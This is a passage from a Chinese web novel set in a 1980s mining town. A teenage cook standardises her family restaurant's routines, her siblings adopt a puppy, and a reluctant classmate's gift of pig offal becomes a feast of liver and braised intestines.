贺明珠慎重地将菜谱交给了贺明军,他虽然觉得有点麻烦,但既然妹妹要求了,那就这么做呗。 毕竟这几天他也是确确实实看到了来用餐的客人每天都在不断减少,总不能妹妹掌勺时生意兴隆,轮到他了当大厨,反过来把饭店干倒闭了吧? 果然不出所料,实施标准化做菜后,流失的客人陆陆续续都回来了。 虽然极个别的嘴刁客人觉得换厨子后口味有细微差异,但对绝大多数人来说,煤矿人家的菜依旧是独一档的好吃。 做菜流程标准化的效果立竿见影,好的出乎贺明珠的意料,她索性把徐和平的工作也标准化。 徐和平不服,他就一个小打杂的,平时洗碗洗菜都忙不过来,搞什么标准化不标准化的,有这工夫,他地都拖两遍了,纯属脱裤子放屁,白费事儿。 贺明珠不和他吵,只一句:“你干不干?” 徐和平梗着脖子:“不干!” 贺明珠点点头,说:“行,那以后你自己做饭自己吃。” 这下掐住徐和平的命脉了。 凭良心说,煤矿人家给他发的工资并不算高,他每天忙得跟陀螺似的,回了家倒头就睡,呼噜打得震天响。 他甚至都有点想反悔,之前决心下得有点太猛,其实他也没那么想工作…… 奈何黑心小饭店虽然活多钱少,但员工餐实在太好吃,荤素搭配有菜有肉,每顿饭都吃得他扶着肚子小心翼翼地挪,动作幅度稍大一点,顶到喉咙口的食物就要喷出来了。 饶是吃太多导致消化不良,徐和平到底哪顿饭都不舍得少吃,这才多久,原来瘦得见棱见角的一张脸,眼见着就有肉了。 整个人从骨瘦如柴的流浪狗化身皮毛油光水滑的家犬,甚至还有点慈眉善目。 徐和平每天能忍着全身酸痛地从床上爬起来去饭店上班,全凭对美食的渴望。 要不是为了这口饭,他早就不想干了。 因此,听到贺明珠说让他以后自己做饭,徐和平立即叫屈道:“凭什么啊?!” 贺明珠闲闲地说:“凭你不听厨子的话,本厨子不乐意给你做了。” 徐和平脾气上来了还挺犟的,嘴硬道:“不做就不做,没了张屠夫还不吃带毛猪了?不就是做饭吗,谁还不会啊!” 贺明珠点点头:“行,这可是你说的啊,别后悔。” 当天,贺明珠做饭时就没准备徐和平的份。 贺明国神经粗没察觉,贺明军倒是发现了,但他笑一下,什么也没说。 只有童言无忌的贺小弟说:“姐,和平哥不和我们一起吃饭吗?” 贺明珠很淡定:“对,他要自己做饭。 贺小弟很不解,他不能理解世界上居然会有不爱吃自家亲姐做的饭的人。 “为什么呀?” 贺明珠笑道:“可能和平鸽想学做饭,也可能是他想减个肥,毕竟太肥的鸽子飞不起来。” 贺小弟似懂非懂地“哦”了一声。 贺明国光顾着吃饭没听明白,这时候插了一嘴:“什么鸽子?今天晚上吃鸽子?” 贺明军没忍住,“噗”地一声喷笑出来。 另一张桌子上,吃着水煮土豆的徐和平简直绷不住。 不是,有这么损的小姑娘吗?! 第60章 第60章小猫小狗小弟 连续吃了三天的水煮土豆烤土豆蒸土豆,徐和平终于憋不住了,朝贺明珠竖起了白旗。 “听你的,都听你的,你说要怎么标准化就这么标准化,只要别让我自己做饭都成。” 他臊眉耷眼地凑到贺明珠跟前,物理意义上的面如土豆色。 贺明 珠调侃他:“别介啊,我看你的厨艺很有进步空间,还需要继续锻炼。现在是煮土豆烤土豆,再练一练就能升级成炒土豆丝了。” 徐和平躺平任嘲,总之就是要蹭饭。 他要是会做饭的话,就不至于之前饿得啃生红薯了。 之前偷的那一堆年货,他大半都拿去送人了,就给自己留了一小盆炸好的半成品丸子。 这种丸子是要放在肉汤里炖入味的,不然干巴巴的丸子其实没那么好吃。但徐和平每顿就着窝窝头珍惜地吃一颗,足足吃了大半个月。 现在天天吃贺明珠的手艺,吃得他嘴都刁了,由奢入俭难,再忍不了自己的糟糕手艺。 贺明珠不松口,还说要教他做饭,徐和平急得口不择言:“我不要工资行不行,只要让我和你们一起吃饭,你让我干啥我就干啥!” 看他是真急了,贺明珠仁慈地高抬贵手,放了他一马。 “行,这是你说的,别反悔。” 贺明珠把标准化的工作流程交给他,让他按上面的要求去做。 徐和平原本是带着忍辱负重的心情去完成工作的,为了美食,他强行自我抑制了自己犟脾气。但他心里挺不高兴的,大丈夫为五斗米折腰,太憋屈了。 他咬牙切齿的,按着流程的要求,碗筷洗一遍冲一遍煮一遍,桌子湿擦一遍再干擦一遍,全屋拖地只在固定时间进行,以及一些其他零零碎碎的活儿。 但渐渐的,徐和平发现,好像他要做的工作没有之前繁杂混乱了? 他只需要按标准的流程做标准的工作,不用东一榔头西一棒子地瞎干活儿,也不用动不动因为不合格而返工重做。 徐和平从这套标准化的工作流程中品出好来。 怎么按贺明珠要求的去做,他反而更省时省力呢? 徐和平忽然惊觉,会不会是自己之前错了?其实标准化工作一点也不白费事儿,倒是他抵制的行为看起来简直小丑。 所以他之前闹得那一出是在干什么?也太丢脸了吧…… 徐和平垂头丧气蹲在炉子旁,另一边是同为盗窃犯的狱友贼猫。 一人一猫分别坐落炉子两旁,都耷拉了个脸,一副绝佳的人畜劳动改造图。 贼猫现在定时定点有人投喂,比起在野外风餐露宿、饥一顿饱一顿的流浪生活,现在整个猫都膨胀起来,肚子上胖出一坨原始袋。 但没了自由,还没了成群妻妾,每日困在人类地盘,唯一的乐子只能逮逮老鼠,还要被人类牢头夸:“真是个乖宝宝咪哦。” 贼猫和旁边的人类狱友一起被这句话惊得魂飞魄散。 看看它威风凛凛的菜刀眼,再看看它寒光闪闪的四颗犬牙和吹毛断发的锋利尖爪,你在叫谁乖宝宝咪?! 人类牢头笑眯眯地拿痒痒挠摸了摸贼猫脑门,在它“呜——”的低沉威胁声中,趁它张开嘴哈气时,眼疾手快往猫嘴里扔了一块肉。 贼猫惊到一整个动作暂停,牢头都走远了,才解除石化状态。 它的三瓣嘴迟疑地咀嚼两下,品品味儿,好像,似乎,还挺好吃的? 吃人嘴软,那下次见到人类牢头还能呜她吗? 贼猫的小脑仁陷入纠结中。 贺明珠发现徐和平最近有点躲着她走,原本他要出门倒垃圾,在门口看到她就立马转身,回屋拿起扫把开始打扫一尘不染的地面。 不过她最近有点忙,顾不上他的小情绪。 初中开学,贺明珠抱着课本每日怒学十二小时,除了睡觉吃饭就是在看书,还要抽空给饭店出新菜谱。 她初中知识基本都忘光了,全部要从头学起。 贺家兄弟以为妹妹是在备战中考(虽然这么说也没错),默契地不去打扰。就连贺小弟也知道,姐姐在看书的时候最好不要去找她,不然后果很严重。 煤矿人家的生意现在基本都是贺明军在管,他忙里偷闲去养狗的朋友家抱了条小狗回来,三个月大,吃得肉嘟嘟的,一身奶膘。 他抱着小狗,母狗警惕地跟在身后,没叫也没咬人,看看朋友又看看他,像是明白了什么,迟疑地摇了摇尾巴。 贺明军伸手过去,母狗凑上前闻了闻,闻完了又礼貌退回原位,没有展现出多余攻击性。 主人家小孩才三岁,跌跌撞撞走过来,站得七倒八歪,母狗摇着尾巴主动迎上去,用身体给他做支撑,同时挡在了小孩和客人中间。 小孩手上没分寸,两只小手各揪下一把狗毛,母狗也没生气,疼爱地舔舔这个人类幼崽的大脑门。 贺明军随手揣着小狗,试图朝小孩靠近,母狗不顾亲生崽子还在人家手里,立刻对着他呲牙,发出威胁的呜呜声。 他毫不怀疑,如果自己继续靠近,母狗真的会扑上来狠狠给自己来个教训。 贺明军慢慢后退,直到间隔是母狗认为的安全距离,它这才停止咆哮。 他一点都没生气,甚至在心里连连赞叹:真是好狗! 贺明军不由得对这条小狗生出极大期待。 就算不会百分百像狗妈,至少也能像个百分之五六十吧? 抱着狗回家,贺明军把小狗放在暖和的大屋,等它长大了再在院子里搭个窝,初春天气还冷,就先跟着人在屋里睡吧。 贺小弟有了新玩伴,每天从托儿所下学回来也不出去疯跑了,回家就去找小奶狗,还给它起了个威风凛凛的名字“将军”。 小狗活泼,每天绕着贺小弟腿边蹦跶,都是小朋友,互相玩闹消耗掉多余精力,家人省事儿多了。 贺明珠下学晚,回来的时候看到大屋炕上横七竖八地躺着贺小弟和小狗。 贺小弟侧身搂着小狗,睡得一张小脸蛋红扑扑的;小狗也像模像样地把爪子搭在贺小弟身上,毛茸茸的肚皮睡得上下起伏。 贺明珠看着直乐,真可惜这会儿没手机,不然她一定要把这个画面拍下来。 小狗听到动静,挣扎着睁开眼睛,见是贺明珠,困得快昏过去了,还努力抬起头舔舔她的手。 贺明珠摸摸狗头:“睡吧睡吧。” 小狗脑袋一歪,放心地昏了过去。 第二天,贺明珠起床后,睡足了的小狗精神头十足,绕着她的腿来回转圈圈,她走路时都得小心,以免踩到狗爪子。 今天起得早,贺明珠就简单做了顿早饭,每人一碗打卤面,浇一勺肉臊子,再加一颗卤得油棕发亮的鸡蛋。 归功于家里的饭太香,贺小弟现在已经用筷子用得很好了。 当同龄小孩有的要大人喂、有的要用勺子吃饭时,他可以精准地夹住面条,干净利落地送进嘴里,没有把油汤滴得四处都是。 全家人吸溜吸溜地吃面条,肉臊子的香气传得满屋都是。 肉臊子的配方是贺明珠和一个山西老师傅学的,猪肉半肥半瘦,切细丁,热锅放一铲雪白猪油,化开后放八角大料炒香,捞出香料,放入肉丁,下锅煸出油脂,加葱姜蒜末,再放入各色调料,直到锅中散发出浓郁肉香,加水小火慢煮。 这样做出来的肉臊子肥而不腻,一颗颗的小肉丁紧实有嚼劲,越吃越香。 贺明珠还煮了几颗鸡蛋,去壳后放进肉汤中浸泡一夜,第二天再吃时,白煮蛋浸透了肉的滋味,从寡淡无味的蛋白到干巴巴噎人的蛋黄,通通变得油润咸香,一口咬下去,滋味浓郁醇厚。 面条是贺明珠早上现擀的,用的是许大舅给他们拿的新麦子磨的面粉。 面粉磨得不算细,做成的面条吃起来有微微的颗粒感,但并不影响风味,反而更筋道有嚼劲。 贺明军昨天十点多才从饭店回来,睡得晚起得也晚。 贺明珠不在饭店镇场,他肩上的担子骤然加重,每天忙得不可开交,回家倒头就睡。 早上六点本来是他的睡觉时间,但闻到打卤面的香味,贺明军硬生生从炕上爬起来,顶着鸡窝似的发型,梦游般走到饭桌前坐下。 贺明珠给他打了一碗面条,他就闭 着眼睛,端起碗把面条往嘴里倒,呼噜噜一碗倒完,手一伸,再来一碗。 贺明国也不遑多让,吃面条仿佛不用咀嚼,三下五除二就是一碗。 贺小弟在两位哥哥的带动下,胃口大开,生怕吃慢了就没饭,小脸蛋都快埋进碗里。 小狗等了半天没等到它的饭,急了,“汪”地叫了一声。 听到小狗的叫声,贺小弟从碗里艰难地拔出脸蛋,下巴上挂着一层油光。 他看看小狗,小狗看看他,面面相觑,贺小弟忍痛咬下一块鸡蛋,放在手心,偷偷拿到桌下。 小狗知机,立刻凑过去舔他手心。 贺明珠慢条斯理地吃着面,咽下去嘴里的东西,才说:“吃饭的时候不许逗狗。” 贺小弟嗖地一下收回手,做贼心虚地举起两只手示意:“我没喂狗。” 这不是此地无银三百两、隔壁王二不曾偷吗? 贺明军闭着眼睛都笑出声了。 贺明国伸手拍拍小弟:“吃饭要专心,别呛着。” “哦……” 对于这个高大结实的大哥,贺小弟有种对父亲般的敬畏,听了他的话,老老实实地专心吃饭,不敢再给小狗偷渡食物了。 小狗蔫蔫趴在地上,惆怅地长长叹了口气。 鸡蛋可真好吃,什么时候它也能上桌吃饭呢…… 吃完饭,一家人各奔东西,上班的上班,上学的上学,贺明军回去睡回笼觉。 饭店要十一点才开门营业,他还能再睡会儿。 贺明珠骑车去了学校,在学校车棚锁车时,肉联厂小公子远远看着她就打招呼。 “贺明珠!” 他气喘吁吁跑过来,看看左右无人,低声说:“你能不能和我爸说你要收回中专考试名额,就别逼我学习了!”【你现在阅读的是魔蝎小说 moxiexs】 60-70 第61章 第61章梁志胜与猪内脏 梁志胜原本生活挺滋润的。 每天翻一翻小人书,去溜冰场滑一滑旱冰,再去录像厅看一看最新到的港台电影。 他家里给的零花钱多,花钱上从不手软,不仅自己去玩,还带着一帮小跟班,走哪儿别人都是“梁哥”、“梁哥”的叫。 加上他爸是车间主任,工人们巴结得紧,连他这个亲儿子也一并巴结上了,走哪儿都是笑脸相迎,小日子别提过得有多爽了。 梁志胜本来打算等初中毕业了就让他爸把他弄进肉联厂,有他老子罩着,那还不是除了厂子儿子,整个厂里都任他横行吗? 偏偏他爸妈不知道是吃错了什么药,非要他考中专,说是以他的成绩就不指望他考大学,但怎么着也得考上中专,将来分配工作,去机关单位坐办公室。 就那一杯茶一张报纸坐一天的工作啊?梁志胜宁愿留在肉联厂杀猪。 话说他杀猪手艺是从小耳濡目染的,白刀子进红刀子出,没什么难度,只要有狠劲,瞅准了位置敢下刀就行。 除了杀猪,他还会拆猪呢。 去了头的白条大猪放在案板上,梁志胜拿起剔骨刀,分分钟就能把一整条光溜溜的胴体拆成前腿后腿五花里脊。 小学时老师教成语“庖丁解牛”,梁志胜挺美滋滋地想,古有庖丁解牛,今有志胜拆猪。 他勇敢地举手把自创的成语告诉了老师,老师的脸绿得像窗外的树叶,满堂学生哄笑。 即使被嘲笑,梁志胜也不改初心,早早立志要去肉联厂上班。 肉联厂多好啊,别人家吃个肉抠抠搜搜的,他家从来都是大口吃肉,吃多了还腻得慌,得吃口素的顺一顺。 但胳膊掰不过大腿,梁志胜掰不过他爹。 梁父下定了决心要让儿子读中专,分配时他再出一把力,无论如何也得把这小子托举到机关。 机关多好啊,别看他在肉联厂当领导,手下管着大几十号人,但真遇上事只能在家团团转,捧着猪头都找不着庙门。 去机关上班,有权又轻松,不比在肉联厂天天身上油腻腻的、一股子猪骚味强吗? 梁家父母找贺明珠换到中专考试名额,下一步就是逼梁志胜学习。 这小子虽然爱玩儿,但在班里一向排名中等,充分说明孩子是聪明的,就是心没放在学习上。 要是断了小人书、溜冰场、录像厅,梁志胜的成绩不得火箭似的原地拔升啊! 梁家父母给学校的任课老师们挨个送了猪肉套餐,拜托他们多关照自家孩子的学习。 这年头大家伙儿倒是不会吃不上饭饿肚子,但缺的就是这口油水。 有了猪肉鼓劲儿,老师们工作热情格外高涨,于是梁志胜就过上了苦不堪言的日子。 学校里有老师盯着,回家有父母盯着,除了学习,别的事都不许他干。别说看小人书了。他往租书店多走两步,他妈都要发飙。 梁志胜实在受不了了,瞅了个空子,求贺明珠收回法宝,啊不,收回中专考试名额吧! 听了梁志胜的话,贺明珠似笑非笑:“我可说了不算,再说了,这种出尔反尔的事我也干不出。你不如去求求你爸妈,看在亲儿子的份上,饶你一条小命。” 梁志胜愁得整张脸都挤在一起,赖着贺明珠不肯走。 “那名额本来就是你的,你要是当初不让名额不就没这么多的事儿了吗?我不管,事儿是你惹出来的,你必须负责解决!” 贺明珠不理他,自顾自往教室的方向走。 梁志胜急了,抓着贺明珠的袖子不让她走。 孙向前远远看到,三步并两步跑过来,一把扯过梁志胜,直拽了他一个趔趄。 “你干什么!” 梁志胜眼睁睁看贺明珠走进教室,急得要跳脚:“你别拦我,我找她有事!” 孙向前很严肃:“有事也不能和女生拉拉扯扯,像什么样子。” 梁志胜和他说不清楚,这一天逮机会就去找贺明珠。 偏偏贺明珠像是脑袋后长了眼睛,每次都避开他,下一秒追踪而来的孙向前就挡在面前了。 下了学,学校里人潮拥挤,梁志胜一个错眼,前面的贺明珠就消失不见了。 他气得直跳脚。 这人怎么这样啊! 过了几天,梁母被单位安排去外地出差,梁父单位来了重要的外贸单子,要连夜赶工出口罐头。他作为车间一把手,当仁不让要留下一起加班。 于是,梁志胜终于获得了短暂的自由。 他顾不上去和小人书、溜冰场、录像厅相会,找熟悉的肉联厂工人要了一副血淋淋热腾腾的猪内脏,用麻袋裹着,拎去了贺家。 他啪啪啪砸响贺家的门,里面传来几声嫩生生的狗叫,虽然声音稚嫩,但气势还挺足。 过了一会儿,有个高高大大的男人来开门。 “找谁?” 对方的目光很犀利,视线恍如有实质般,毫不客气在梁志胜身上扫射。 面对比自己高一头的成年男性,梁志胜的气焰萎靡下去。 “我、我要找贺明珠,我是她同学。” 男人审视地打量了他一会儿,侧身放他进来。 梁志胜拎着麻袋,小心翼翼从门口缝隙中挤进来。 院子很小,他一眼就看到贺明珠,她俏生生地立在大屋门口的台阶上,有点惊讶的模样。 梁志胜的气焰不由得腾的一下冒起来。 哼,还躲着我,没想到吧,老子找到你家来了!有本事你再躲啊! 贺明珠问他:“梁同学,你来有什么事?” 梁志胜很想放两句狠话,比如说你要是不找我爹妈要回中专考试名额,我和你没完,看到这副内脏了吗,收回名额的事要是做不到,我就做了你之类的。 但身后的男人太有存在感,肩膀那么宽,胳膊那么粗,看起来一个打他两个都绰绰有余。 梁志胜窝窝囊囊地把麻袋放在地上,嘤嘤嘤地说: “贺同学,那个名额的事麻烦你快点处理,我真的很急……” 不等贺明珠打开麻袋去看里面的东西,梁志胜就匆匆忙忙要走。 路过那个男人,他脚步更快了些。 ——快走快走,要是被人发现他是来放狠话的,他可就走不了了。 快走到门口时,梁志胜听到贺明珠的声音:“你先别走,等一下。” 这能等? 梁志胜脚步更快,噌地一步蹿到门口,眼见一只脚都迈出去了,被人拽住了后脖领子,小鸡仔似的提溜到贺明珠跟前。 梁志胜心里一惊,完了,内脏被发现了,他要挨打了! 他吓得闭上眼睛,两只手下意识就去捂脑袋。可等了 好一会儿,也没等到落在身上的拳头。 梁志胜小心翼翼地睁开一只眼,看到麻袋的袋口被打开,贺明珠站在旁边,若有所思地盯着看。 她蹲下|身,从血淋淋的内脏里翻找着什么,下一刻,她两只指头夹着血糊糊的什么东西站起身来。 “猪肝挺新鲜的,你别走了,留下一起吃饭吧。” 梁志胜稀里糊涂地就留在了贺家,吃了一顿晚饭。 贺明珠把猪肝上的血冲干净,掐了掐肝尖,见里面呈细颗粒状,满意地点点头。 这是沙肝,适合炒着吃,炒出来又嫩又脆,比一般的猪肝要更好吃。 她先是将猪肝上筋膜都剔干净,接着挑了把快刀,将猪肝细致地切成薄片,放白酒酱油淀粉蚝油腌制片刻。 热锅放油,倒入猪肝泡椒葱姜蒜,大火快炒,变色就出锅。 在贺明珠处理猪肝的时候,梁志胜被指挥去洗猪大肠。 他本来不想干,但被贺明珠拿眼睛一看,身后高壮男人虎视眈眈,他咽下抱怨,老老实实拎着猪大肠去洗。 为了恶心人,他特意让工人拿了刚从猪肚子里掏出来的热气腾腾的肠子,里面装满了没消化完的主食和消化完成的猪粪。 这下自作自受,梁志胜一边洗一边干呕。 他想偷懒,遥遥传来一句贺明珠的话:“我们家不吃猪大肠,做好了都给你吃……” 这句比什么威胁都强,梁志胜瞪着猪大肠,咬牙把褶皱撑开,将里面的脏东西都冲干净。 等他把猪大肠洗干净,贺明珠那边的爆猪肝已经出锅。 一盘猪肝放到桌上,鲜香脆嫩,吃起来又辣又烫,一块猪肝能送下去好几口饭。 据说猪肝补血明目,还能治夜盲症,梁母就经常给梁志胜做猪肝吃。 偏偏她手艺一般,猪肝做起来又不容易,炒得过嫩带血色,炒得过老吃起来像嚼木头。梁志胜被迫从小吃到大,吃得这小子都有心理阴影了。 他不爱吃猪肝,看到猪肝就倒胃口的,只挑点炒豆芽、泡菜之类的小菜来吃。 再说了,贺明珠这么一个漂亮姑娘,她懂个屁的做饭! 但看到贺家人吃得那么香,贺明珠的小弟一边被辣得咝咝吸气,一边还要再来一块;那个高壮男人,也就是贺明珠的大哥,被辣的眼圈都红了,眼泪要掉不掉地悬在眼眶,夹猪肝的筷子就没停过。 真有这么好吃? 梁志胜有些动摇。 他还在那儿磨磨蹭蹭呢,再一抬眼,一大盘的爆炒猪肝都快被人吃完了,就剩下一个底。 梁志胜这下急了,也不磨蹭了,连忙朝盘子下筷,夹起一块微微卷曲的猪肝薄片,他犹豫了一下,以一种视死如归的心态把猪肝塞进了嘴里。 好吃! 牙齿咬下去,猪肝口感脆弹,细嫩鲜香,吃起来一点腥味都没有,又酸又辣,开胃极了。 梁志胜眼睛当即就是一亮。 他也不客气了,逮着盘子里剩下的猪肝就猛下筷子。 贺明国还打算清盘底呢,见状急忙加快动作,争着和梁志胜抢那几块猪肝。 没想到贺明珠手艺这么好,梁志胜都后悔自己之前没有在刚出锅的时候就去夹猪肝吃。 现下他才吃得胃口大开,盘子里就只剩下葱姜蒜和泡椒了。 梁志胜没吃过瘾,伸着脖子问:“猪大肠呢?” 贺明珠笑眯眯地说:“没有做呢。” 梁志胜这下是真急了:“你怎么不做啊!我好不容易才洗干净的!” 贺明珠坦诚回答:“我以为你会使坏。虽然我家不吃猪大肠,但锅里要是煮过屎,心理上也很难过得去这一关。” 梁志胜简直要哭了:“可是我真的洗干净了……” 一个大小伙子可怜巴巴地窝在椅子上,贺明珠同情地安慰他:“好了好了,我知道了,你明天去一矿旁边煤矿人家饭店,我请你吃卤大肠。” 梁志胜的眼睛噌的一下就亮了。 送走梁志胜,贺明国对贺明珠一连三问:“这小子是谁?为什么要给咱家送猪内脏?你为什么留他在家吃饭?” 今天贺大哥的表现堪称有史以来最不友好的一次,不仅和客人抢菜吃,送客人出门时就跟送瘟神似的,人前脚才迈出门,他后脚啪地一下就把门关上,差点砸人后脑勺上。 ——妈的,追他妹妹都追到家里来了,这还了得?当他这个哥哥是吃白饭的?! 虽然事实离贺明国的猜测十万八千里,但误打误撞,倒正好给梁志胜这混小子来了次下马威。 贺明珠说:“你还记不记得之前那对要和我换中专考试名额的梁家父母?这就是他们的儿子。” 贺明国没反应过来:“你不是已经把名额转给他家了吗?那他今天来干什么?” 贺明珠长叹一声:“来申请售后服务。” 梁志胜以前所未有的热情期待第二天的到来。 甫一下课,他撒丫子奔出教室大门,骑上自行车就往一矿的方向赶。 原本还预防着拦人的孙向前疑惑道:“他那么急去干什么?” 旁边的人赞同道:“是啊,也不知道在赶什么。” 孙向前转头一看,是贺明珠。 他下意识露出一个笑,想到还在教室,又勉强把笑压回去。 这年头,学校格外重视男女大防,男女同学间像隔着一道隐形隔栏,非必要不交谈,并肩同行等于谈恋爱。 孙向前跟在贺明珠身后到了车棚,一前一后骑车出校门。 到了人少的地方,贺明珠刹车,扭头问他:“去我家饭店吃饭不?” 孙向前反应不及,差点追尾,听到贺明珠的话,他更是直接平衡不稳,自行车歪到一旁。 “去、去、去你家吃饭……” 贺明珠耐心道:“不是我家,是我家饭店。有个大傻子送来一套猪内脏,我打算做个内脏全席,请你尝一尝。” 孙向前心下欢呼雀跃,表情努力含蓄:“好啊,那我就却之不恭了。” 到了煤矿人家,还没停稳车,有人直冲冲地怼上来,委屈地喊:“你怎么才来啊!” 孙向前被吓了一跳,定睛一看才发现,这人是梁志胜。 他下意识就挡在贺明珠身前,贺明珠从他身后探了个脑袋出来,俏皮地对梁志胜说: “我也没想到你走得这么急,连厨子都不等啊,” 梁志胜一愣,这才发现自己干了什么蠢事。 他心虚地转移话题:“那个,大肠呢?” 大肠正在锅里卤着呢。 贺明珠放下书包,换上围裙进了厨房。 掀开锅盖瞧一瞧,经过一天一夜的浸泡,卤汁已经完全浸透肥肠的每个角落,将原本白色的猪大肠染成了富有食欲的深棕色。 她拿筷子戳了戳,卤肥肠软硬程度正合适,于是拿漏勺捞起一整根,放到盘中备用。 贺明军抱臂站在一旁,闲闲地问:“这俩小子是怎么回事儿?” 贺明珠抄起菜刀将肥肠一切两端,一半斜刀切片,一半切成圈丝。 她边切,边淡定地说:“都不是你想的那回事儿。” 贺明军哼笑一声:“你怎么知道我想的是哪回事儿?” 贺明珠起锅烧油,回身将二哥撵出厨房。 “话太多,影响我做菜。” 趁热油的工夫,她快手快脚又切了一盘尖椒备用。 之前国营菜场新到一批南方运来的尖椒,味道极辣, 不适合北方口味,买的人很少。 贺明珠逛菜场时见猎心喜,大手笔全部包圆。 售货员正愁卖不出去,见有人肯买,也不计较菜票不足,一口气全卖出去,免得放久了腐烂变质。 这个尖椒太辣,不适合用在饭店,平时都是贺明珠自己想吃辣时解馋。 今天正好派上用场。 锅里油烧热,贺明珠将尖椒下锅,滋啦一声冒起白烟,与此同时,热滚滚的辣味冲出了锅。 前厅里的几个人同时被呛得咳嗽起来,忙不迭起身开窗开门,将这股辣气散出去。 还没等他们坐回位置上,贺明珠端着两盘菜出来、 一盘是切好摆盘的原味卤肥肠,另一盘则是辣炒卤肥肠。 她解开围裙,一扬下巴,对众人示意道: “都尝尝。” 第62章 第62章冲刺中考学习小组 这会儿还没到饭点,店里没客人,只有贺家兄妹和梁志胜、孙向前几个人。 贺明珠话音未落,梁志胜毫不犹豫地冲着肥肠就下筷子。 他上次动作就慢了,没吃到刚出锅的爆炒猪肝,一晚上后悔得挖心挖肺,在床上翻来覆去睡不着。 所以今天无论如何,他一定要第一个吃到辣炒肥肠! 但他的动作还是慢了一拍,贺明军已经夹了一大筷的炒肥肠,二话不说先捞到碗里。 筷子一转,他又去夹卤肥肠,两筷子下去,盘中空了一小块。 笑话!他能不知道自家妹子做饭有多好吃吗?平时和家里人吃饭也就算了,吃多吃少都落在自家人胃里,今天不知从哪儿冒来的俩小子也想和他抢,做梦去吧! 孙向前目瞪口呆地看着眼前这一幕,他筷子都没拿起来,两盘肥肠已经空了一半,眼瞅着空盘的范围还有进一步扩大的趋势。 肩膀上被人拍了一下,他转头去看,是贺明珠。 “想什么呢?还不快吃,晚了可就没了。” 孙向前原本是不吃内脏的,觉得腥味儿太重,而且口感和一般的肉类很不同,吃起来有点奇怪。 而且猪大肠这玩意儿说难听点是装翔的,日积月累,那不得被翔味儿都腌透了? 光是想一想都让人犯恶心,更别说吃到嘴里了。 可这是贺明珠做的。 孙向前硬着头皮,拿起筷子,捡了盘子边的一小块肥肠,举到嘴边,犹豫再三,以一种视死如归、大不了就吃屎的牺牲精神,眼一闭心一横,囫囵个把肥肠塞进了嘴里。 嘶,好辣! 孙向前本是打算不嚼直接吞的,但肥肠甫一入口,还没等他品到内脏特有的腥味,一股浓烈的鲜辣之味先袭击了他的味蕾。 他的眼睛顿时瞪大,试探性地咬了两口,肥肠口感滑而韧,软糯和有嚼劲奇异地出现在同一个食材上,让人惊异又新奇。 原本担心的腥臭味儿完全没有尝到一点,舌尖萦绕着香辣,刺激得人疯狂分泌口水,来不及细细品尝,三下两下嚼完咽下去。 太香了,在料峭春寒中吃到这样一份鲜辣可口的美食,整个人都燃烧起来,一边辣得直冒汗,一边又想要吃到更多。 孙向前忍不住向辣炒肥肠伸出第二筷,接着是第三筷、第四筷…… 一旦克服了对猪大肠的心理阴影,他连原味卤肥肠也敢于尝试了。 豪气地夹了一大筷子,孙向前想也不想就往口中一塞。 唔,可真香! 贺明珠的独家卤料配方将大肠的异味全数祛除,吃起来一点腥味也没有,只剩下食材原本的美味。 卤肥肠的口感丰腴柔韧,软糯肥润,卤香味儿十足,吃得人满足极了。 猪大肠上褶皱多,但由于肥肠已经卤了一天一夜,卤汁渗透了大场内外的每个角落,咬一口,汁香味浓,越嚼越香,越吃越想吃。 新加入一个抢菜的,盘中肥肠的消灭速度肉眼可见的加快许多。 贺明军吃得多了,对自家妹子自制美食有一定抵抗力,在举箸间歇,还有余力去瞄一瞄身边两人。 而梁志胜已经是完全顾不上了,挥舞筷子如双节棍,吃得头也不抬,一口接一口,被辣的呼哈呼哈直倒吸气,也停不下来筷子。 孙向前含蓄归含蓄,但下筷子的手可一点都不慢,快准狠从一堆尖椒中挑出藏在其中的肥肠圈。 三个正处于最能吃年纪的青壮一齐发力,两盘肥肠很快就被一扫而空,除了盘底残留的一点汤汁,谁也看不出原来菜的模样。 贺大哥下班后将贺小弟从托儿所接到了饭店,贺小弟兴冲冲地往屋子里跑去。 “姐,今天吃啥?” 一句话没说完,他一个急刹车停在饭桌前,看看空盘子,再看看吃得一嘴油光的贺明军几人。 慢慢的,他眉毛耷拉下来,小嘴也向下撇去,眼见是要委屈哭了。 还没等贺小弟酝酿好情绪,贺明珠眼疾手快往他嘴里塞了块肉。 “吃吧吃吧,你这个嘴馋的小崽子。” 贺小弟用力嚼着肉,口齿不清地问道:“姐,这是啥?” 贺明珠说:“这是肥肠头,肥肠上最好吃的一块肉。” 梁志胜听到她的话,忽然想起来贺明珠之前说过的话,指责道:“你不是说你们家不吃猪大肠吗?” 贺明珠轻松地说:“骗你的哦,要不然你怎么会老老实实把猪大肠都洗干净呢?” 她太过理直气壮,梁志胜被噎得没话说,只好另外找茬抱怨:“你偏心!怎么还把最好吃的部分偷偷切下来啊!” 贺明珠斜睨他:“这是我亲弟,我不偏心他,难不成还要偏心你啊?” 梁志胜说不过贺明珠,咳咳两声,转移话题:“还有别的菜吗?我记得麻袋里应该还有猪肺、猪心、猪肚……” 贺明珠说:“有倒是有——” 梁志胜脸上现出喜色,但还不等他高兴,贺明珠接着说:“但我凭什么要做给你吃呢?” 梁志胜一呆。 贺明军在一旁看好戏,顺便拦住了想要说点什么的贺明国。 孙向前一脑子疑问,听这话的意思,做菜的猪大肠是梁志胜拿给贺明珠的?他什么时候给她送了一麻袋的猪内脏?为什么要送给她? 孙向前莫名心里有点不太舒服。 贺明珠慢条斯理地说:“论理,我不欠你家什么,你也不是饭店的顾客;论情,咱俩没私交,交情有限,还没好到我要请你吃饭的地步——所以,我为什么要做给你吃?” 梁志胜傻眼了。 他这才想起来,那一麻袋血淋淋的内脏原本是用来吓唬贺明珠的。 只是没想到恐吓道具变美食,他还吃得不亦乐乎,完全忘了初衷。 “我……我……” 梁志胜磕磕巴巴的,不知道要说什么。 他不是来找贺明珠收回中专考试名额的吗?怎么就成了贺氏美食品鉴会? 但该说不说,贺明珠的手艺是真好,吃得他意犹未尽,两盘子的肥肠一小半都进了他的肚子,梁志胜反而感觉更饿了。 贺明国开口了:“好了,梁同学是吧,谢谢你送到家里的内脏,现在菜也吃了,天色也不早了,你看要不先回家吧?” 回家吗…… 恰在此时,贺小弟吃完了肥肠头,哒哒哒跑进厨房,每个灶台都看一遍,又哒哒哒跑出来,问贺明珠:“姐,你还要做啥好吃的?” 贺明珠笑眯眯地说:“干煸猪肺,爆炒腰花,酱香猪心,还有一锅猪肚鸡。” 随着她报出一个接一个的菜名,在场众人听得皆是口水涟涟,恨不能现在就冲到厨房,化身饕餮把全部美食都一扫而空。 